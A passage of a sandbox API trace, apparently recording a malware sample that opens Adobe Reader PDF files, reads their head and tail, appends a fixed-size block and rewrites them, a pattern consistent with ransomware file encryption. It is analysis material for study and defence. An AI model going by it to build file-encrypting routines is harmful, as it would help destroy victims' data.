8 [0041.876] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.877] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x13eed [0041.877] ReadFile (in: hFile=0x170, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.877] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x13eed [0041.877] WriteFile (in: hFile=0x170, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.877] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0041.878] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.878] CloseHandle (hObject=0x170) returned 1 [0041.878] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0041.878] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.878] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x101ce [0041.878] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.878] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.878] ReleaseMutex (hMutex=0x128) returned 1 [0041.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0041.878] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.921] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xf1ce [0041.922] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.929] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xf1ce [0041.929] WriteFile (in: hFile=0x170, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.929] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0041.929] WriteFile (in: hFile=0x170, lpBuffer=0x2617c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2617c48*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.930] CloseHandle (hObject=0x170) returned 1 [0041.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0041.930] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.930] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3e95 [0041.930] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.930] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.930] ReleaseMutex (hMutex=0x128) returned 1 [0041.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0041.930] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.947] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2e95 [0041.947] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.955] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2e95 [0041.955] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.960] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0041.960] WriteFile (in: hFile=0x170, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.960] CloseHandle (hObject=0x170) returned 1 [0041.963] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0041.968] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.968] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x10405 [0041.968] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.968] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.970] ReleaseMutex (hMutex=0x128) returned 1 [0041.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0041.974] ReadFile (in: hFile=0x170, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.977] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xf405 [0041.977] ReadFile (in: hFile=0x170, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.980] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xf405 [0041.981] WriteFile (in: hFile=0x170, lpBuffer=0x2619c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2619c78*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.981] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0041.981] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.981] CloseHandle (hObject=0x170) returned 1 [0041.981] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0041.982] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.982] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1d17f [0041.982] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.982] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.982] ReleaseMutex (hMutex=0x128) returned 1 [0041.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6326c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0041.982] ReadFile (in: hFile=0x170, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.983] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1c17f [0041.983] ReadFile (in: hFile=0x170, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.988] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1c17f [0041.988] WriteFile (in: hFile=0x170, lpBuffer=0x2765a28*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2765a28*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.988] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0041.988] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.988] CloseHandle (hObject=0x170) returned 1 [0041.988] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0041.989] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.989] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x48d8f [0041.989] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.989] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.989] ReleaseMutex (hMutex=0x128) returned 1 [0041.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e631cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0041.989] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0041.993] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x47d8f [0041.993] ReadFile (in: hFile=0x170, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.997] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x47d8f [0041.997] WriteFile (in: hFile=0x170, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.998] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0041.998] WriteFile (in: hFile=0x170, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.998] CloseHandle (hObject=0x170) returned 1 [0041.998] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0041.998] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.999] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x13e0e [0041.999] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.999] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.999] ReleaseMutex (hMutex=0x128) returned 1 [0041.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0041.999] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.002] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x12e0e [0042.002] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.008] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x12e0e [0042.008] WriteFile (in: hFile=0x170, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.009] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.009] WriteFile (in: hFile=0x170, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.009] CloseHandle (hObject=0x170) returned 1 [0042.009] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.009] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.009] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xb7dc [0042.009] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.009] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.009] ReleaseMutex (hMutex=0x128) returned 1 [0042.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0042.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x1e6334c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0042.009] ReadFile (in: hFile=0x170, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.011] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xa7dc [0042.011] ReadFile (in: hFile=0x170, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.014] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xa7dc [0042.015] WriteFile (in: hFile=0x170, lpBuffer=0x2619c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2619c78*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.015] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.015] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.015] CloseHandle (hObject=0x170) returned 1 [0042.015] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.015] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.016] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xdf82 [0042.016] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.016] WaitForSingleObject (hHandle=0x128, 